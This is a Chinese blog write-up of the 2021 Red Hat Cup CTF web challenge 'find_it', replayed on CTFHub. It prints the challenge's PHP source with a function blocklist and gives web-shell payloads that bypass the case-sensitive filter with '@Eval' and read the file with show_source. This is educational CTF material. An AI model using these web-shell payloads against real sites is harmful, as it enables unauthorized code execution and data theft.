[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

看群里说CTFHub上复现了, 我来看看

本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了

只能想想其他办法咯

<?php#Really easy...$file=fopen("flag.php","r") or die("Unable 2 open!");$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));$hack=fopen("hack.php","w") or die("Unable 2 open");$a=$_GET['code'];if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){die("you die");
}
if(strlen($a)>33){die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);fclose($file);
fclose($hack);
?>

preg_match()过滤了eval但是!!!!!

Eval它没ban

所以我们可以写’大’马

构造payload:

/?code=<?php%20@Eval($_POST['aaa']);?>

蚁剑连马

拿到flag:

但是作为菜鸡

我还是要重新思考一下这道题的思路:

代码中有几个函数需要注意一下

比如fopen(),fwrite(),fread()

fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

也就是说,这里已经读到了flag

$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php

所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中

但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)

但是我想到了另外一个函数show_source()

show_source() 函数对文件进行语法高亮显示。

随机构造payload:

/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入

然后访问hack.php

flag他就出来了。。。。

同时还有我传入的payload

搞一波骚操作!

所以,今天又学到了新姿势~~~~

[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it相关推荐

  1. 2021第四届红帽杯网络安全大赛-线上赛Writeup

    文章目录 MISC 签到 colorful code WEB find_it framework WebsiteManger ezlight 记录一下被锤爆的一天-orz MISC 签到 签到抢了个二 ...

  2. 第四届红帽杯网络安全大赛 Web 部分writeup

    前言 记录一下web的wp,随手写的,只会前三题,确实都很简单. find_it 扫到robots.txt,发现1ndexx.php,直接访问不了,访问.1ndexx.php.swp得到源码,然后读f ...

  3. CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger

    CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注.SSRF ) 场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗? 场景打开后,如下,是个登 ...

  4. 2022第二届网刃杯网络安全大赛-Web

    2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-夜白君师傅原创,禁止抄袭! 一.Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yy ...

  5. 2021年“羊城杯”网络安全大赛部分Writeup

    文章目录 MISC 签到 赛博德国人 MISC520 Baby_Forenisc Crypto Bigrsa Ring Ring Ring MISC 签到 题目描述:猜数字01-30,数字序列以San ...

  6. [2021首届“陇剑杯”网络安全大赛 决赛]内存取证writeup

    决赛不能联网-手上有只有vol2.6,这道题完全死了 文章目录 [2021首届"陇剑杯"网络安全大赛 决赛]内存取证 writeup 产品密钥 匿名邮箱 远控后门 数据清除时间 [ ...

  7. 【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz

    [2020年第二届"网鼎杯"网络安全大赛 青龙组]Web AreUSerialz http://94b1c2d4231f4b4bb92162d5e89dec8f5817750c48 ...

  8. [2021首届“陇剑杯”网络安全大赛] webshell

    [2021首届"陇剑杯"网络安全大赛] webshell 题目描述 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 1.黑客登录系统使用的密码是___Admin ...

  9. 2021第一届网刃杯网络安全大赛-老练的黑客

    2021第一届网刃杯网络安全大赛-老练的黑客 难度系数:4.0 题目描述:一黑客成功入侵某核电站且获得了操作员站控制权,该操作员站可控制离心机的转速,当离心机的转速持续高于5000时将导致设备损坏,为 ...

最新文章

  1. Python3 与 C# 并发编程之~ Net篇
  2. python判断一个数是整数、浮点数还是字符串
  3. c#反混淆工具de4dot 一般混淆都可以解决
  4. 创建数组表格PHP苹果价格,如何从PHP数组创建HTML表?
  5. kotlin和python哪个好_python替代品for一些java及kotlin功能(慎入啊慎入)
  6. log4j的使用 slf4j简单介绍
  7. 【观察】 全新紫光云:“云数智”底盘再升级,背后的三重新价值
  8. 利用腾讯云独立IP使用windows用CCProxy搭建Socks5多IP代理服务器图文教程实现单窗口单IP
  9. Windows系统主机加固
  10. 计算机监控系统sacad,太阳能热泵多功能复合机(sahpm)计算机监控系统实现方法研究-机械电子工程专业论文.docx...
  11. 微信公众号接入智能客服机器人可以实现哪些效果
  12. 分享图片+文字到微信朋友圈
  13. MySQL学习之一条SQL更新语句的执行
  14. 计算机流量的单位是什么,单位g和ml哪个大?
  15. 2021年三门中学高考成绩查询,2021长沙市地区高考成绩排名查询,长沙市高考各高中成绩喜报榜单...
  16. Collection集合
  17. R数据分析:数据清洗的思路和核心函数介绍
  18. 飞思卡尔智能车总结 之中断的处理方法
  19. 如何下载因特尔显卡的最新驱动
  20. 如何设置网络访问 SQL Express?

热门文章

  1. OpenGL 3.0,等得花儿都谢了
  2. linux smit工具,Linux安全基础 SMIT入门
  3. Java实现画图软件(Swing)
  4. java_微信公众号扫码绑定个人信息(微信公众号场景值二维码的使用)
  5. android字体图形绘制,android paint api drawText 绘制字体字形
  6. 学 Python 爬虫,你可以研究下 GoPUP, 一个用于学术研究的小爬虫库
  7. 【愚公系列】2022年09月 微信小程序-WebGL纹理材质的使用
  8. 机房一体化监测解决方案
  9. 解决Ubuntu18.04搜狗拼音输入法选词面板出现乱码问题
  10. fastapi 如何响应文件下载